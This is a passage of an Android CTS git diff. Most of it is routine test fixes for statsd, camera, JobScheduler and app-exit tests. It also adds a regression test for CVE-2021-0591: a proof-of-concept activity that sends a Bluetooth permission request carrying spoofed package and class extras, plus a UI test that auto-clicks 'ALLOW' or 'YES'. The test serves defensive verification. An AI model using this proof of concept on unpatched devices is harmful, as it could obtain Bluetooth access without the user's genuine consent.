+ */
+
+package android.security.cts.CVE_2021_0591;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import java.util.List;
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final String BASIC_SAMPLE_PACKAGE =
+ "android.security.cts.CVE_2021_0591";
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private UiDevice mDevice;
+
+ @Before
+ public void startMainActivityFromHomeScreen() {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ try {
+ mDevice.wakeUp();
+ mDevice.pressMenu();
+ mDevice.pressHome();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ Context context = getApplicationContext();
+ assertThat(context, notNullValue());
+ PackageManager packageManager = context.getPackageManager();
+ assertThat(packageManager, notNullValue());
+ final Intent intent = packageManager.getLaunchIntentForPackage(BASIC_SAMPLE_PACKAGE);
+ assertThat(intent, notNullValue());
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ context.startActivity(intent);
+ mDevice.wait(Until.hasObject(By.pkg(BASIC_SAMPLE_PACKAGE).depth(0)), LAUNCH_TIMEOUT_MS);
+ }
+
+ @After
+ public void lastOperation() {
+ SystemClock.sleep(20000);
+ }
+
+ @Test
+ public void testClick() {
+ List<UiObject2> objects;
+ BySelector selector = By.clickable(true);
+ String button;
+ objects = mDevice.findObjects(selector);
+ for (UiObject2 o : objects) {
+ button = o.getText();
+ if (button == null) {
+ continue;
+ }
+ if (button.matches("ALLOW|YES|Allow|Yes")) {
+ o.click();
+ return;
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java
new file mode 100644
index 00000000000..e1a12f944b4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0591/src/android/security/cts/CVE_2021_0591/PocActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0591;
+
+import android.app.Activity;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.content.Intent;
+import android.os.Bundle;
+
+import static org.junit.Assert.assertNotNull;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ Intent i = new Intent("android.bluetooth.device.action.CONNECTION_ACCESS_REQUEST");
+ i.setClassName("com.android.settings",
+ "com.android.settings.bluetooth.BluetoothPermissionActivity");
+ BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
+ assertNotNull(bluetoothAdapter);
+ i.putExtra(BluetoothDevice.EXTRA_DEVICE,
+ bluetoothAdapter.getRemoteDevice("00:11:22:33:AA:BB"));
+ i.putExtra("android.bluetooth.device.extra.PACKAGE_NAME", "com.android.systemui");
+ i.putExtra("android.bluetooth.device.extra.CLASS_NAME",
+ "com.android.systemui.screenshot.ScreenshotServiceErrorReceiver");
+ startActivity(i);
+ }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
index 0ccc450f665..e550db6ec92 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appops/AppOpsTests.java
@@ -52,7 +52,8 @@ public class AppOpsTests extends DeviceTestCase implements IBuildReceiver {
final int APP_OP_RECORD_AUDIO = 27;
final int APP_OP_RECORD_AUDIO_HOTWORD = 102;
- TRANSFORMED_FROM_OP.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD);
+ // Temporarily commented out until the Trusted Hotword requirement is enforced again.
+// TRANSFORMED_FROM_OP.put(APP_OP_RECORD_AUDIO, APP_OP_RECORD_AUDIO_HOTWORD);
}
private IBuildInfo mCtsBuild;
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
index cac353e04f9..10eec5535e4 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
@@ -43,6 +43,7 @@ import com.google.protobuf.Parser;
import java.io.FileNotFoundException;
import java.util.Map;
+import java.util.StringTokenizer;
import javax.annotation.Nonnull;
import javax.annotation.Nullable;
@@ -243,7 +244,15 @@ public final class DeviceUtils {
*/
public static boolean hasFeature(ITestDevice device, String feature) throws Exception {
final String features = device.executeShellCommand("pm list features");
- return features.contains(feature);
+ StringTokenizer featureToken = new StringTokenizer(features, "\n");
+
+ while(featureToken.hasMoreTokens()) {
+ if (("feature:" + feature).equals(featureToken.nextToken())) {
+ return true;
+ }
+ }
+
+ return false;
}
/**
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
index 91888940751..1d9cdc2001c 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
@@ -19,7 +19,10 @@ package android.cts.statsdatom.lib;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import com.android.os.StatsLog;
+
import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog;
import com.android.os.StatsLog.ConfigMetricsReport;
import com.android.os.StatsLog.ConfigMetricsReportList;
import com.android.os.StatsLog.EventMetricData;
@@ -28,12 +31,15 @@ import com.android.os.StatsLog.GaugeMetricData;
import com.android.os.StatsLog.StatsLogReport;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.util.Pair;
import com.google.protobuf.InvalidProtocolBufferException;
import java.util.ArrayList;
+import java.util.Collections;
import java.util.Comparator;
import java.util.List;
+import java.util.stream.Collectors;
public final class ReportUtils {
private static final String DUMP_REPORT_CMD = "cmd stats dump-report";
@@ -51,7 +57,7 @@ public final class ReportUtils {
/**
* Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
- * contain a single report).
+ * contain a single report) and sorts the atoms by timestamp within the report.
*/
public static List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
throws Exception {
@@ -60,7 +66,14 @@ public final class ReportUtils {
List<EventMetricData> data = new ArrayList<>();
for (StatsLogReport metric : report.getMetricsList()) {
- data.addAll(metric.getEventMetrics().getDataList());
+ for (EventMetricData metricData :
+ metric.getEventMetrics().getDataList()) {
+ if (metricData.hasAtom()) {
+ data.add(metricData);
+ } else {
+ data.addAll(backfillAggregatedAtomsInEventMetric(metricData));
+ }
+ }
}
data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
@@ -71,6 +84,23 @@ public final class ReportUtils {
return data;
}
+
+ private static List<EventMetricData> backfillAggregatedAtomsInEventMetric(
+ EventMetricData metricData) {
+ if (!metricData.hasAggregatedAtomInfo()) {
+ return Collections.emptyList();
+ }
+ List<EventMetricData> data = new ArrayList<>();
+ StatsLog.AggregatedAtomInfo atomInfo = metricData.getAggregatedAtomInfo();
+ for (long timestamp : atomInfo.getElapsedTimestampNanosList()) {
+ data.add(EventMetricData.newBuilder()
+ .setAtom(atomInfo.getAtom())
+ .setElapsedTimestampNanos(timestamp)
+ .build());
+ }
+ return data;
+ }
+
public static List<Atom> getGaugeMetricAtoms(ITestDevice device) throws Exception {
return getGaugeMetricAtoms(device, /*checkTimestampTruncated=*/false);
}
@@ -93,9 +123,13 @@ public final class ReportUtils {
for (GaugeMetricData d : report.getMetrics(0).getGaugeMetrics().getDataList()) {
assertThat(d.getBucketInfoCount()).isEqualTo(1);
GaugeBucketInfo bucketInfo = d.getBucketInfo(0);
- atoms.addAll(bucketInfo.getAtomList());
+ if (bucketInfo.getAtomCount() != 0) {
+ atoms.addAll(bucketInfo.getAtomList());
+ } else {
+ backFillGaugeBucketAtoms(bucketInfo.getAggregatedAtomInfoList());
+ }
if (checkTimestampTruncated) {
- for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
+ for (long timestampNs : bucketInfo.getElapsedTimestampNanosList()) {
assertTimestampIsTruncated(timestampNs);
}
}
@@ -108,6 +142,18 @@ public final class ReportUtils {
return atoms;
}
+ private static List<Atom> backFillGaugeBucketAtoms(
+ List<StatsLog.AggregatedAtomInfo> atomInfoList) {
+ List<Pair<Atom, Long>> atomTimestamp = new ArrayList<>();
+ for (StatsLog.AggregatedAtomInfo atomInfo : atomInfoList) {
+ for (long timestampNs : atomInfo.getElapsedTimestampNanosList()) {
+ atomTimestamp.add(Pair.create(atomInfo.getAtom(), timestampNs));
+ }
+ }
+ atomTimestamp.sort(Comparator.comparing(o -> o.second));
+ return atomTimestamp.stream().map(p -> p.first).collect(Collectors.toList());
+ }
+
/**
* Delete all pre-existing reports corresponding to the CTS config.
*/
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
index ad925131cf0..d9072497cbf 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
@@ -229,14 +229,19 @@ public class HostAtomTests extends DeviceTestCase implements IBuildReceiver {
// Trigger events in same order.
DeviceUtils.plugInAc(getDevice());
+ DeviceUtils.flushBatteryStatsHandlers(getDevice());
Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
DeviceUtils.unplugDevice(getDevice());
+ DeviceUtils.flushBatteryStatsHandlers(getDevice());
Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
plugInUsb();
+ DeviceUtils.flushBatteryStatsHandlers(getDevice());
Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
DeviceUtils.unplugDevice(getDevice());
+ DeviceUtils.flushBatteryStatsHandlers(getDevice());
Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
plugInWireless();
+ DeviceUtils.flushBatteryStatsHandlers(getDevice());
Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
DeviceUtils.unplugDevice(getDevice());
DeviceUtils.flushBatteryStatsHandlers(getDevice());
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
index 40735c3f434..11353ce4b6e 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
@@ -231,7 +231,7 @@ public class ProcStateAtomTests extends DeviceTestCase implements IBuildReceiver
Thread.sleep(WAIT_TIME_FOR_SCREEN_MS);
executeForegroundActivity(getDevice(), ACTION_SLEEP_WHILE_TOP);
- // ASAP, turn off the screen to make proc state -> top_sleeping.
+ Thread.sleep(WAIT_TIME_FOR_SCREEN_MS);
DeviceUtils.turnScreenOff(getDevice());
final int waitTime = SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS;
Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index 67478a793aa..c363d841341 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -220,7 +220,8 @@ public class UidAtomTests extends DeviceTestCase implements IBuildReceiver {
atomTag, /*uidInAttributionChain=*/false);
DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
- "StatsdCtsForegroundActivity", "action", "action.native_crash");
+ "StatsdCtsForegroundActivity", "action", "action.native_crash",
+ /* waitTimeMs= */ 5000L);
// Sorted list of events in order in which they occurred.
List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
diff --git a/hostsidetests/theme/assets/31/450dpi.zip b/hostsidetests/theme/assets/31/450dpi.zip
new file mode 100644
index 00000000000..5ce9a1e80ed
--- /dev/null
+++ b/hostsidetests/theme/assets/31/450dpi.zip
Binary files differ
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
index 4909ce2b704..c2dfa2400dc 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
@@ -122,7 +122,7 @@ public class JobParametersTest extends BaseJobSchedulerTest {
+ " " + JOB_ID));
// In automotive device, always-on screen and endless battery charging are assumed.
- if (!isAutomotiveDevice()) {
+ if (BatteryUtils.hasBattery() && !isAutomotiveDevice()) {
BatteryUtils.runDumpsysBatterySetLevel(100);
BatteryUtils.runDumpsysBatteryUnplug();
verifyStopReason(new JobInfo.Builder(JOB_ID, kJobServiceComponent)
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index db74563a436..27378c3d08d 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -55,6 +55,7 @@ import android.util.Log;
import android.util.Pair;
import com.android.compatibility.common.util.AmMonitor;
+import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.android.compatibility.common.util.SystemUtil;
import com.android.internal.util.ArrayUtils;
@@ -103,6 +104,8 @@ public final class ActivityManagerAppExitInfoTest extends InstrumentationTestCas
private static final int EXIT_CODE = 123;
private static final int CRASH_SIGNAL = OsConstants.SIGSEGV;
+ private static final int TOMBSTONE_FETCH_TIMEOUT_MS = 10_000;
+
private static final int WAITFOR_MSEC = 10000;
private static final int WAITFOR_SETTLE_DOWN = 2000;
@@ -840,17 +843,11 @@ public final class ActivityManagerAppExitInfoTest extends InstrumentationTestCas
verify(list.get(0), mStubPackagePid, mStubPackageUid, STUB_PACKAGE_NAME,
ApplicationExitInfo.REASON_CRASH_NATIVE, null, null, now, now2);
- InputStream trace = ShellIdentityUtils.invokeMethodWithShellPermissions(
- list.get(0),
- (i) -> {
- try {
- return i.getTraceInputStream();
- } catch (IOException ex) {
- return null;
- }
- },
- android.Manifest.permission.DUMP);
+ TombstoneFetcher tombstoneFetcher = new TombstoneFetcher(list.get(0));
+ PollingCheck.check("not able to get tombstone", TOMBSTONE_FETCH_TIMEOUT_MS,
+ () -> tombstoneFetcher.fetchTrace());
+ InputStream trace = tombstoneFetcher.getTrace();
assertNotNull(trace);
Tombstone tombstone = Tombstone.parseFrom(trace);
assertEquals(tombstone.getPid(), mStubPackagePid);
@@ -1242,4 +1239,31 @@ public final class ActivityManagerAppExitInfoTest extends InstrumentationTestCas
assertTrue(ArrayUtils.equals(info.getProcessStateSummary(), cookie,
cookie == null ? 0 : cookie.length));
}
+
+ private static class TombstoneFetcher {
+ private InputStream mTrace = null;
+ private final ApplicationExitInfo mExitInfo;
+
+ TombstoneFetcher(ApplicationExitInfo exitInfo) {
+ mExitInfo = exitInfo;
+ }
+
+ public InputStream getTrace() {
+ return mTrace;
+ }
+
+ public boolean fetchTrace() throws Exception {
+ mTrace = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mExitInfo,
+ (i) -> {
+ try {
+ return i.getTraceInputStream();
+ } catch (IOException ex) {
+ return null;
+ }
+ },
+ android.Manifest.permission.DUMP);
+ return (mTrace != null);
+ }
+ }
}
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 0bb5aa2e694..21206871850 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -24,6 +24,7 @@ import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
import android.app.DownloadManager;
import android.app.DownloadManager.Query;
@@ -697,6 +698,8 @@ public class DownloadManagerTest extends DownloadManagerTestBase {
@Test
public void testDownload_onMediaStoreDownloadsDeleted() throws Exception {
+ assumeFalse(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+
// prepare file
File file = new File(Environment.getExternalStoragePublicDirectory(
Environment.DIRECTORY_DOWNLOADS), "cts" + System.nanoTime() + ".mp3");
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 67ac550d512..d53a952199d 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -119,6 +119,7 @@ import android.os.ParcelFileDescriptor;
import android.os.RemoteException;
import android.os.SystemClock;
import android.os.UserHandle;
+import android.platform.test.annotations.AsbSecurityTest;
import android.provider.ContactsContract;
import android.provider.ContactsContract.CommonDataKinds.Email;
import android.provider.ContactsContract.CommonDataKinds.Phone;
@@ -4255,6 +4256,7 @@ public class NotificationManagerTest extends AndroidTestCase {
* This method verifies that an app can't bypass background restrictions by retrieving their own
* notification and triggering it.
*/
+ @AsbSecurityTest(cveBugId = 185388103)
public void testActivityStartFromRetrievedNotification_isBlocked() throws Exception {
deactivateGracePeriod();
EventCallback callback = new EventCallback();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
index 0794739b42e..c2dfb13588e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
@@ -906,6 +906,11 @@ public final class Helper {
Log.v(TAG, "isRotationSupported(): is PC");
return false;
}
+ if (!packageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
+ || !packageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)) {
+ Log.v(TAG, "isRotationSupported(): no screen orientation feature");
+ return false;
+ }
return true;
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 1ca6107b9f8..2534ba66393 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -86,7 +86,7 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
private static final long EXPOSURE_TIME_BOUNDARY_60HZ_NS = 8333333L; // 8.3ms, Approximation.
private static final long EXPOSURE_TIME_ERROR_MARGIN_NS = 100000L; // 100us, Approximation.
private static final float EXPOSURE_TIME_ERROR_MARGIN_RATE = 0.03f; // 3%, Approximation.
- private static final float SENSITIVITY_ERROR_MARGIN_RATE = 0.03f; // 3%, Approximation.
+ private static final float SENSITIVITY_ERROR_MARGIN_RATE = 0.06f; // 6%, Approximation.
private static final int DEFAULT_NUM_EXPOSURE_TIME_STEPS = 3;
private static final int DEFAULT_NUM_SENSITIVITY_STEPS = 8;
private static final int DEFAULT_SENSITIVITY_STEP_SIZE = 100;
@@ -816,7 +816,8 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
}
openDevice(id);
Size maxPreviewSize = mOrderedPreviewSizes.get(0);
- digitalZoomTestByCamera(maxPreviewSize);
+ digitalZoomTestByCamera(maxPreviewSize, /*repeating*/false);
+ digitalZoomTestByCamera(maxPreviewSize, /*repeating*/true);
} finally {
closeDevice();
}
@@ -2562,7 +2563,7 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
stopPreview();
}
- private void digitalZoomTestByCamera(Size previewSize) throws Exception {
+ private void digitalZoomTestByCamera(Size previewSize, boolean repeating) throws Exception {
final int ZOOM_STEPS = 15;
final PointF[] TEST_ZOOM_CENTERS;
final float maxZoom = mStaticInfo.getAvailableMaxDigitalZoomChecked();
@@ -2649,6 +2650,7 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
};
final int CAPTURE_SUBMIT_REPEAT;
+ final int NUM_RESULTS_TO_SKIP;
{
int maxLatency = mStaticInfo.getSyncMaxLatency();
if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) {
@@ -2656,6 +2658,11 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
} else {
CAPTURE_SUBMIT_REPEAT = maxLatency + 1;
}
+ if (repeating) {
+ NUM_RESULTS_TO_SKIP = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY + 1;
+ } else {
+ NUM_RESULTS_TO_SKIP = CAPTURE_SUBMIT_REPEAT - 1;
+ }
}
if (VERBOSE) {
@@ -2680,21 +2687,29 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
if (VERBOSE) {
Log.v(TAG, "Testing Zoom for factor " + zoomFactor + " and center " +
center + " The cropRegion is " + cropRegions[i] +
- " Preview size is " + previewSize);
+ " Preview size is " + previewSize + ", repeating is " + repeating);
}
requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, cropRegions[i]);
requests[i] = requestBuilder.build();
- for (int j = 0; j < CAPTURE_SUBMIT_REPEAT; ++j) {
- if (VERBOSE) {
- Log.v(TAG, "submit crop region " + cropRegions[i]);
+ if (VERBOSE) {
+ Log.v(TAG, "submit crop region " + cropRegions[i]);
+ }
+ if (repeating) {
+ mSession.setRepeatingRequest(requests[i], listener, mHandler);
+ // Drop first few frames
+ waitForNumResults(listener, NUM_RESULTS_TO_SKIP);
+ // Interleave a regular capture
+ mSession.capture(requests[0], listener, mHandler);
+ } else {
+ for (int j = 0; j < CAPTURE_SUBMIT_REPEAT; ++j) {
+ mSession.capture(requests[i], listener, mHandler);
}
- mSession.capture(requests[i], listener, mHandler);
}
/*
* Validate capture result
*/
- waitForNumResults(listener, CAPTURE_SUBMIT_REPEAT - 1); // Drop first few frames
+ waitForNumResults(listener, NUM_RESULTS_TO_SKIP); // Drop first few frames
TotalCaptureResult result = listener.getTotalCaptureResultForRequest(
requests[i], NUM_RESULTS_WAIT_TIMEOUT);
List<CaptureResult> partialResults = result.getPartialResults();
@@ -2756,7 +2771,7 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
if (maxZoom > 1.0f) {
mCollector.expectTrue(
- String.format("Most zoomed-in crop region should be smaller" +
+ String.format("Most zoomed-in crop region should be smaller " +
"than active array w/h" +
"(last crop = %s, active array = %s)",
previousCrop, activeArraySize),
@@ -2955,7 +2970,7 @@ public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
}
aspectRatiosTested.add(aspectRatio);
- digitalZoomTestByCamera(size);
+ digitalZoomTestByCamera(size, /*repeating*/false);
}
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
index 262f9030458..35edd778854 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
@@ -94,7 +94,7 @@ public class MultiResolutionImageReaderTest extends Camera2AndroidTestCase {
private SimpleMultiResolutionImageReaderListener mListener;
@Test
- public void testMultiResolutionCaptureCharacteristics() {
+ public void testMultiResolutionCaptureCharacteristics() throws Exception {
for (String id : mCameraIdsUnderTest) {
if (VERBOSE) {
Log.v(TAG, "Testing multi-resolution capture characteristics for Camera " + id);
@@ -154,11 +154,8 @@ public class MultiResolutionImageReaderTest extends Camera2AndroidTestCase {
physicalCameraIds.contains(physicalCameraId));
}
- StaticMetadata pInfo = mAllStaticInfo.get(physicalCameraId);
- CameraCharacteristics pChar = pInfo.getCharacteristics();
- StreamConfigurationMap pConfig = pChar.get(
- CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
- Size[] sizes = pConfig.getOutputSizes(format);
+ Size[] sizes = CameraTestUtils.getSupportedSizeForFormat(format,
+ physicalCameraId, mCameraManager);
assertTrue(String.format("Camera %s must "
+ "support at least one output size for output "
+ "format %d.", physicalCameraId, format),
@@ -166,13 +163,10 @@ public class MultiResolutionImageReaderTest extends Camera2AndroidTestCase {
List<Size> maxSizes = new ArrayList<Size>();
maxSizes.add(CameraTestUtils.getMaxSize(sizes));
- StreamConfigurationMap pMaxResConfig = pChar.get(CameraCharacteristics.
- SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION);
- if (pMaxResConfig != null) {
- Size[] maxResSizes = pMaxResConfig.getOutputSizes(format);
- if (maxResSizes != null && maxResSizes.length > 0) {
- maxSizes.add(CameraTestUtils.getMaxSize(maxResSizes));
- }
+ Size[] maxResSizes = CameraTestUtils.getSupportedSizeForFormat(format,
+ physicalCameraId, mCameraManager, /*maxResolution*/true);
+ if (maxResSizes != null && maxResSizes.length > 0) {
+ maxSizes.add(CameraTestUtils.getMaxSize(maxResSizes));
}
assertTrue(String.format("Camera %s's supported multi-resolution"
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 9009f9fd099..14032dac096 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -296,7 +296,7 @@ public class PerformanceTest {
testSingleCaptureForFormat(JPEG_FORMAT, "jpeg", /*addPreviewDelay*/ true);
if (!mTestRule.isPerfMeasure()) {
int[] YUV_FORMAT = {ImageFormat.YUV_420_888};
- testSingleCaptureForFormat(YUV_FORMAT, null, /*addPreviewDelay*/ false);
+ testSingleCaptureForFormat(YUV_FORMAT, null, /*addPreviewDelay*/ true);
int[] PRIVATE_FORMAT = {ImageFormat.PRIVATE};
testSingleCaptureForFormat(PRIVATE_FORMAT, "private", /*addPreviewDelay*/ true);
int[] RAW_FORMAT = {ImageFormat.RAW_SENSOR};
diff --git a/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java
index 61dde71e12a..fab14b803ab 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java
@@ -28,6 +28,7 @@ import android.media.Image;
import android.media.ImageReader;
import android.os.Build;
import android.os.ConditionVariable;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Size;
@@ -69,6 +70,7 @@ public class ZoomCaptureTest extends Camera2AndroidTestCase {
}
@Test
+ @AppModeFull(reason = "Instant apps can't access Test API")
public void testJpegZoomCapture() throws Exception {
for (String id : mCameraIdsUnderTest) {
try {
@@ -82,6 +84,7 @@ public class ZoomCaptureTest extends Camera2AndroidTestCase {
}
@Test
+ @AppModeFull(reason = "Instant apps can't access Test API")
public void testRawZoomCapture() throws Exception {
for (String id : mCameraIdsUnderTest) {
try {
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 1c7bf7c8648..7a4c2e0160c 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -1679,16 +1679,31 @@ public class CameraTestUtils extends Assert {
*/
public static Size[] getSupportedSizeForFormat(int format, String cameraId,
CameraManager cameraManager) throws CameraAccessException {
+ return getSupportedSizeForFormat(format, cameraId, cameraManager,
+ /*maxResolution*/false);
+ }
+
+ public static Size[] getSupportedSizeForFormat(int format, String cameraId,
+ CameraManager cameraManager, boolean maxResolution) throws CameraAccessException {
CameraCharacteristics properties = cameraManager.getCameraCharacteristics(cameraId);
assertNotNull("Can't get camera characteristics!", properties);
if (VERBOSE) {
Log.v(TAG, "get camera characteristics for camera: " + cameraId);
}
- StreamConfigurationMap configMap =
